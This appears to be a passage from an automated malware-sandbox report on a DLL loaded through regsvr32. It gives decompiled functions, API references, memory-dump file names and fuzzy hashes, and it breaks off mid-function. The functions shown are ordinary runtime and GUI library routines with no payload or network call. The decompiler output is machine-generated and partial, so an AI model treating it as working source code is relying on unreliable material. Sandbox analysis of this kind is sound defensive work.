				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x6eb8cd8c = _t6;
				if(_t6 != 0) {
					 *0x6eb8e75c = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x6eb6aca9
0x6eb6acaf
0x6eb6acb6
0x6eb6acbd
0x6eb6acc3
0x6eb6acb9
0x6eb6acb9
0x6eb6acb9

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,?,6EB645C4,00000001,?,?,?,6EB6473D,?,?,?,6EB85378,0000000C,6EB647F8), ref: 6EB6ACA9

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: a71ee60d7c28f383ca5cce5a89322e4c42e1b44a44d41fc1f5051f0c0c86e826
Instruction ID: 725f32d49a17a39da837b59801d3623e465b05d137c8f0185c1456475fc4582f
Opcode Fuzzy Hash: a71ee60d7c28f383ca5cce5a89322e4c42e1b44a44d41fc1f5051f0c0c86e826
Instruction Fuzzy Hash: 15D05E76564745ABDF005EB55C08B273BECD386395F008436F94CC7280F570C5409F00

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6A5CA Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB6A5CA() {
				void* _t1;

				_t1 = E6EB6A558(0); // executed
				return _t1;
			}

0x6eb6a5cc
0x6eb6a5d2

APIs

__encode_pointer.LIBCMT ref: 6EB6A5CC

Part of subcall function 6EB6A558: TlsGetValue.KERNEL32(00000000,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A56A
Part of subcall function 6EB6A558: TlsGetValue.KERNEL32(00000006,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A581
Part of subcall function 6EB6A558: RtlEncodePointer.NTDLL(00000000,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A5BF

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 6b34ec9ec936095544e22a55cd767d6fab6d79078d5ffdde920814acadeb4b57
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6EB43F50 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB43F50(void* _a4, long _a8, long _a12, long _a16) {
				void* _t7;

				_t7 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
				return _t7;
			}

0x6eb43f64
0x6eb43f6a

APIs

VirtualAlloc.KERNEL32(?,?,-00001006,?,6EB449B6,?,?,-00001006,?,00000000), ref: 6EB43F64

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f7bac33966342626bdbf7d9452b3e69bb9a3c1b9a51c1ea234fad32535c4f6d5
Instruction ID: 160d73168f5cbb198e20a5a444127c4c93d1d9429af90e9c27cf5b95651bbe37
Opcode Fuzzy Hash: f7bac33966342626bdbf7d9452b3e69bb9a3c1b9a51c1ea234fad32535c4f6d5
Instruction Fuzzy Hash: 8DC002B9608302BF9A04DB54C888C6BBBEDEBC9340F00C90DB59983320C630E844CF22

Uniqueness

Uniqueness Score: -1.00%

Function 6EB43F70 Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB43F70(void* _a4, long _a8, long _a12) {
				int _t5;

				_t5 = VirtualFree(_a4, _a8, _a12); // executed
				return _t5;
			}

0x6eb43f7f
0x6eb43f85

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 6EB43F7F

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: cbfeed80bf2f127f4a103dbab11150c27a1c03719682fbb4dcd71a4d2f5693fa
Instruction ID: a2a140fe76b473dec4ee4893cb7179468322afeb3eda2f671136138513718034
Opcode Fuzzy Hash: cbfeed80bf2f127f4a103dbab11150c27a1c03719682fbb4dcd71a4d2f5693fa
Instruction Fuzzy Hash: 24C048B8208200BF9E04DB10C9A8C3BB7AAEBC9610F00C90EB88983300C630EC01DE22

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EB57121 Relevance: 12.1, APIs: 8, Instructions: 125
filestringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E6EB57121(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				CHAR* _t45;
				long _t46;
				CHAR* _t50;
				long _t55;
				void* _t57;
				int _t63;
				long _t73;
				void* _t86;
				void* _t89;
				CHAR* _t91;
				void* _t94;
				CHAR* _t99;
				CHAR* _t101;

				_t92 = __esi;
				_t89 = __edx;
				_push(0x158);
				E6EB66564(0x6eb77cb3, __ebx, __edi, __esi);
				_t91 =  *(_t94 + 8);
				_t45 =  *(_t94 + 0xc);
				_t73 =  *(_t94 + 0x10);
				_t99 = _t91;
				_t75 = 0 | _t99 != 0x00000000;
				 *(_t94 - 0x158) = _t45;
				_t100 = _t99 != 0;
				if(_t99 != 0) {
					L2:
					_t101 = _t45;
					_t75 = 0 | _t101 != 0x00000000;
					if(_t101 != 0) {
						goto L1;
					}
					_t77 = _t94 - 0x15c;
					_t46 = GetFullPathNameA(_t45, 0x104, _t91, _t94 - 0x15c);
					if(_t46 != 0) {
						__eflags = _t46 - 0x104;
						if(_t46 < 0x104) {
							E6EB413B0(_t94 - 0x154, _t89);
							 *(_t94 - 4) =  *(_t94 - 4) & 0x00000000;
							E6EB56F63(_t73, __eflags, _t91, _t94 - 0x154);
							_t50 = PathIsUNCA( *(_t94 - 0x154));
							__eflags = _t50;
							if(_t50 != 0) {
								L21:
								E6EB41020( &(( *(_t94 - 0x154))[0xfffffffffffffff0]), _t89);
								__eflags = 1;
								goto L22;
							}
							_t55 = GetVolumeInformationA( *(_t94 - 0x154), _t50, _t50, _t50, _t94 - 0x164, _t94 - 0x160, _t50, _t50);
							__eflags = _t55;
							if(_t55 != 0) {
								__eflags =  *(_t94 - 0x160) & 0x00000002;
								if(( *(_t94 - 0x160) & 0x00000002) == 0) {
									CharUpperA(_t91);
								}
								__eflags =  *(_t94 - 0x160) & 0x00000004;
								if(( *(_t94 - 0x160) & 0x00000004) == 0) {
									_t57 = FindFirstFileA( *(_t94 - 0x158), _t94 - 0x150);
									__eflags = _t57 - 0xffffffff;
									if(_t57 == 0xffffffff) {
										goto L21;
									}
									FindClose(_t57);
									__eflags =  *(_t94 - 0x15c);
									if( *(_t94 - 0x15c) == 0) {
										goto L11;
									}
									__eflags =  *(_t94 - 0x15c) - _t91;
									if( *(_t94 - 0x15c) <= _t91) {
										goto L11;
									}
									_t63 = lstrlenA(_t94 - 0x124);
									_t86 =  *(_t94 - 0x15c) - _t91;
									__eflags = _t63 + _t86 - 0x104;
									if(_t63 + _t86 >= 0x104) {
										__eflags = _t73;
										if(_t73 != 0) {
											 *((intOrPtr*)(_t73 + 8)) = 3;
											E6EB47A80(_t73 + 0x10, 0x104,  *(_t94 - 0x158));
										}
										L12:
										E6EB41020( &(( *(_t94 - 0x154))[0xfffffffffffffff0]), _t89);
										goto L5;
									}
									__eflags = 0x104;
									E6EB50574(_t73, _t89, _t91, 0x104,  *(_t94 - 0x15c), 0x104, _t94 - 0x124);
								}
								goto L21;
							}
							L11:
							E6EB570F2(_t73,  *(_t94 - 0x158));
							goto L12;
						}
						__eflags = _t73;
						if(_t73 != 0) {
							 *((intOrPtr*)(_t73 + 8)) = 3;
							E6EB47A80(_t73 + 0x10, 0x104,  *(_t94 - 0x158));
						}
						goto L5;
					} else {
						E6EB48C1B(_t73, _t77, _t91, 0x104, _t91, 0x104,  *(_t94 - 0x158), 0xffffffff);
						E6EB570F2(_t73,  *(_t94 - 0x158));
						L5:
						L22:
						return E6EB665E7(_t73, _t91, 0x104);
					}
				}
				L1:
				_t45 = E6EB48BA4(_t73, _t75, _t91, _t92, _t100);
				goto L2;
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB5712B
GetFullPathNameA.KERNEL32(00000000,00000104,00000000,?,00000158,6EB573CA,?,00000000,?), ref: 6EB57169

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

PathIsUNCA.SHLWAPI(?), ref: 6EB571D9
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6EB57200
CharUpperA.USER32(00000000), ref: 6EB57233
FindFirstFileA.KERNEL32(?,?), ref: 6EB5724F
FindClose.KERNEL32(00000000), ref: 6EB5725B
lstrlenA.KERNEL32(?), ref: 6EB57279

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: FindPath$CharCloseException@8FileFirstFullH_prolog3H_prolog3_InformationNameThrowUpperVolumelstrlen
String ID:
API String ID: 624941980-0
Opcode ID: 4495e0e8f70e78f0744803b18282a905a76cd5268d477acb36b9209e63d45351
Instruction ID: 36336ff7fdf04cf777d9f11b6734abdf4e4bcf015c4c980d222af4cca0a93b60
Opcode Fuzzy Hash: 4495e0e8f70e78f0744803b18282a905a76cd5268d477acb36b9209e63d45351
Instruction Fuzzy Hash: F341B271A106A5DBDF118FA0CC58BEE7B78EF46315F0085A8E819A53C4DBB18AA4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46170 Relevance: 9.1, APIs: 6, Instructions: 81
windowCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6EB46170(void* __ecx) {
				signed int _v8;
				signed int _v12;
				int _v100;
				char _v104;
				struct tagRECT _v120;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t17;
				int _t20;
				void* _t21;
				int _t25;
				int _t26;
				void* _t43;
				void* _t45;
				void* _t46;
				void* _t48;
				void* _t59;
				void* _t62;
				void* _t63;
				void* _t66;
				void* _t68;
				void* _t69;
				void* _t70;
				signed int _t71;
				signed int _t73;

				_t73 = (_t71 & 0xfffffff8) - 0x74;
				_t17 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t17 ^ _t73;
				_push(_t45);
				_t68 = __ecx;
				_push(_t62);
				_t20 = IsIconic( *(__ecx + 0x20));
				_t74 = _t20;
				if(_t20 == 0) {
					_t21 = E6EB529E7(_t45, _t68, _t62, _t68, __eflags);
					_pop(_t63);
					_pop(_t69);
					_pop(_t46);
					__eflags = _v8 ^ _t73;
					return E6EB63DE0(_t21, _t46, _v8 ^ _t73, _t59, _t63, _t69);
				} else {
					E6EB49B33( &_v100, _t68, _t74);
					SendMessageA( *(_t68 + 0x20), 0x27, _v100, 0);
					_t25 = GetSystemMetrics(0xb);
					_t26 = GetSystemMetrics(0xc);
					GetClientRect( *(_t68 + 0x20),  &_v120);
					_t61 =  *(_t68 + 0x358);
					asm("cdq");
					asm("cdq");
					DrawIcon(_v100, _v120.right - _v120.left - _t25 + 1 -  *(_t68 + 0x358) >> 1, _v120.bottom - _v120.top - _t26 + 1 -  *(_t68 + 0x358) >> 1, _t61);
					_t43 = E6EB49B87(_t25,  &_v104, _t26, _t68, _t74);
					_t66 = _t68;
					_pop(_t70);
					_pop(_t48);
					return E6EB63DE0(_t43, _t48, _v12 ^ _t73, _t61, _t66, _t70);
				}
			}

APIs

IsIconic.USER32 ref: 6EB4618D

Part of subcall function 6EB49B33: __EH_prolog3.LIBCMT ref: 6EB49B3A
Part of subcall function 6EB49B33: BeginPaint.USER32(?,?,00000004,6EB529FE,?,00000058,6EB4622F), ref: 6EB49B66

SendMessageA.USER32 ref: 6EB461B2
GetSystemMetrics.USER32 ref: 6EB461C0
GetSystemMetrics.USER32 ref: 6EB461C6
GetClientRect.USER32 ref: 6EB461D3
DrawIcon.USER32 ref: 6EB46207

Part of subcall function 6EB49B87: __EH_prolog3.LIBCMT ref: 6EB49B8E
Part of subcall function 6EB49B87: EndPaint.USER32(?,?,00000004,6EB52A24,?,?,00000058,6EB4622F), ref: 6EB49BA9

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: H_prolog3MetricsPaintSystem$BeginClientDrawIconIconicMessageRectSend
String ID:
API String ID: 2914073315-0
Opcode ID: afa0ee16fda469f53ebc3896f8479b9e71e96fb4623a47ea770d7fad04455382
Instruction ID: c9737b6c66d3bf7971ff0fa27620c034e54d8284936ecfcdbc761125b54abaa6
Opcode Fuzzy Hash: afa0ee16fda469f53ebc3896f8479b9e71e96fb4623a47ea770d7fad04455382
Instruction Fuzzy Hash: 302190722146859FCB20DF78CC49D6FB7E9FBC9615F050A1DF58AC3290DA20E804CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6EB505A6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB505A6(void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __ebx;
				void* __esi;
				signed int _t9;
				struct HINSTANCE__* _t13;
				intOrPtr* _t20;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t36;
				signed int _t37;
				void* _t39;
				void* _t40;
				signed int _t45;
				void* _t46;

				_t36 = __edi;
				_t35 = __edx;
				_t31 = __ecx;
				_t43 = _t45;
				_t46 = _t45 - 0x11c;
				_t9 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t9 ^ _t45;
				_t49 = _a4 - 0x800;
				_t39 = __ecx;
				_t28 = __edx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags == 0) {
						goto L10;
					} else {
						goto L4;
					}
				} else {
					E6EB48BEF(__edx, _t31, __edi, _t39, E6EB671B0(__edx,  &_v288, 4, "LOC"));
					_t46 = _t46 + 0x10;
					L4:
					_push(_t36);
					_t37 =  *(E6EB66B6E(_t49));
					 *(E6EB66B6E(_t49)) =  *_t16 & 0x00000000;
					_push( &_v288);
					_t30 = E6EB66E7C( &_v284, 0x112, 0x111, _t39, _t28);
					_t20 = E6EB66B6E(_t49);
					_t50 =  *_t20;
					if( *_t20 == 0) {
						 *(E6EB66B6E(__eflags)) = _t37;
					} else {
						E6EB48EF7( *((intOrPtr*)(E6EB66B6E(_t50))));
					}
					_pop(_t36);
					if(_t30 == 0xffffffff || _t30 >= 0x112) {
						L10:
						_t13 = 0;
						__eflags = 0;
					} else {
						_t13 = LoadLibraryA( &_v284);
					}
				}
				_pop(_t40);
				_pop(_t29);
				return E6EB63DE0(_t13, _t29, _v8 ^ _t43, _t35, _t36, _t40);
			}

APIs

_strcpy_s.LIBCMT ref: 6EB505D8

Part of subcall function 6EB66B6E: __getptd_noexit.LIBCMT ref: 6EB66B6E

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 6EB505F0
__snwprintf_s.LIBCMT ref: 6EB50625
LoadLibraryA.KERNEL32(?), ref: 6EB50660

Strings

LOC, xrefs: 6EB505D0

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: InfoLibraryLoadLocale__getptd_noexit__snwprintf_s_strcpy_s
String ID: LOC
API String ID: 1155623865-519433814
Opcode ID: d315b2c234114cf7c5d63e7d3bb1ea3d026ae72c4afacf5ceda5baaee152a348
Instruction ID: 07245aaa97cca12b95279c1cc3f369480b597e6d9429b7ccf8167b08e1c9d5e3
Opcode Fuzzy Hash: d315b2c234114cf7c5d63e7d3bb1ea3d026ae72c4afacf5ceda5baaee152a348
Instruction Fuzzy Hash: 4021D57056428CAFDB50AFF4CC46FDD3FACEB56719F0004A2E20597290EB708952DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB63DE0 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E6EB63DE0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x6eb89470; // 0x8926f9d4
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x6eb8cb50 = _t6;
				 *0x6eb8cb4c = _t22;
				 *0x6eb8cb48 = _t25;
				 *0x6eb8cb44 = _t21;
				 *0x6eb8cb40 = _t27;
				 *0x6eb8cb3c = _t26;
				 *0x6eb8cb68 = ss;
				 *0x6eb8cb5c = cs;
				 *0x6eb8cb38 = ds;
				 *0x6eb8cb34 = es;
				 *0x6eb8cb30 = fs;
				 *0x6eb8cb2c = gs;
				asm("pushfd");
				_pop( *0x6eb8cb60);
				 *0x6eb8cb54 =  *_t31;
				 *0x6eb8cb58 = _v0;
				 *0x6eb8cb64 =  &_a4;
				 *0x6eb8caa0 = 0x10001;
				_t11 =  *0x6eb8cb58; // 0x0
				 *0x6eb8ca54 = _t11;
				 *0x6eb8ca48 = 0xc0000409;
				 *0x6eb8ca4c = 1;
				_t12 =  *0x6eb89470; // 0x8926f9d4
				_v812 = _t12;
				_t13 =  *0x6eb89474; // 0x76d9062b
				_v808 = _t13;
				 *0x6eb8ca98 = IsDebuggerPresent();
				_push(1);
				E6EB70A52(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x6eb7c734);
				if( *0x6eb8ca98 == 0) {
					_push(1);
					E6EB70A52(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 6EB685CA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EB685DF
UnhandledExceptionFilter.KERNEL32(6EB7C734), ref: 6EB685EA
GetCurrentProcess.KERNEL32(C0000409), ref: 6EB68606
TerminateProcess.KERNEL32(00000000), ref: 6EB6860D

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3a808d24b0073a837386cee09f31aa85ea66ae66d4ae177a8798fbd74573f3cc
Instruction ID: 08c57250e530db419fef142d4a3a94ae90023b0f7562f2e1cf863e6003f7b92d
Opcode Fuzzy Hash: 3a808d24b0073a837386cee09f31aa85ea66ae66d4ae177a8798fbd74573f3cc
Instruction Fuzzy Hash: EE21E2F8411E48DFDF10DFA8E0856463BB4FB2B314F20521AE9098BB40E7719984CF86

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4CB52 Relevance: 6.0, APIs: 4, Instructions: 42
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB4CB52(void* __ecx) {
				signed int _t5;
				void* _t15;
				void* _t18;

				_t15 = __ecx;
				if((E6EB4F5C9(__ecx) & 0x40000000) != 0) {
					L6:
					_t5 = E6EB4C687(_t15, __eflags);
					asm("sbb eax, eax");
					return  ~( ~_t5);
				}
				_t18 = E6EB487A0();
				if(_t18 == 0 || GetKeyState(0x10) < 0 || GetKeyState(0x11) < 0 || GetKeyState(0x12) < 0) {
					goto L6;
				} else {
					SendMessageA( *(_t18 + 0x20), 0x111, 0xe146, 0);
					return 1;
				}
			}

0x6eb4cb57
0x6eb4cb63
0x6eb4cbab
0x6eb4cbad
0x6eb4cbb4
0x00000000
0x6eb4cbb6
0x6eb4cb6a
0x6eb4cb6e
0x00000000
0x6eb4cb91
0x6eb4cba0
0x00000000
0x6eb4cba8

APIs

Part of subcall function 6EB4F5C9: GetWindowLongA.USER32 ref: 6EB4F5D4

GetKeyState.USER32(00000010), ref: 6EB4CB78
GetKeyState.USER32(00000011), ref: 6EB4CB81
GetKeyState.USER32(00000012), ref: 6EB4CB8A
SendMessageA.USER32 ref: 6EB4CBA0

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: c7e939fc00c169a513be5baa6788c3536f59028a3c435e11d860a10541898dbc
Instruction ID: 67272e0d69222fa598decd50f1610b6235dfd6087033b2ff2a2b50ac38f5b8e4
Opcode Fuzzy Hash: c7e939fc00c169a513be5baa6788c3536f59028a3c435e11d860a10541898dbc
Instruction Fuzzy Hash: 76F0B4753606DFEAFE1025F48C81FD90D289B81F90F610821E695AF0D8CA62C4052AB0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45CD0 Relevance: 51.1, APIs: 25, Strings: 4, Instructions: 328
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB45CD0(void* __ecx, void* __edx, void* __eflags, long _a28, struct HWND__* _a52) {
				int _v8;
				char _v16;
				CHAR* _v40;
				CHAR* _v48;
				struct tagPOINT _v120;
				intOrPtr _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t72;
				struct HMENU__** _t142;
				intOrPtr* _t146;
				void* _t152;
				void* _t153;
				void* _t196;
				struct HMENU__* _t210;
				void* _t215;
				void* _t217;
				void* _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				void* _t222;
				CHAR* _t224;
				void* _t225;
				signed int _t232;
				void* _t235;
				struct HMENU__** _t237;

				_t235 = __eflags;
				_t196 = __edx;
				_t156 = __ecx;
				_push(0xffffffff);
				_push(0x6eb78878);
				_push( *[fs:0x0]);
				_push(_t152);
				_push(_t225);
				_push(_t217);
				_t72 =  *0x6eb89470; // 0x8926f9d4
				_push(_t72 ^ (_t232 & 0xfffffff8) - 0x0000001c);
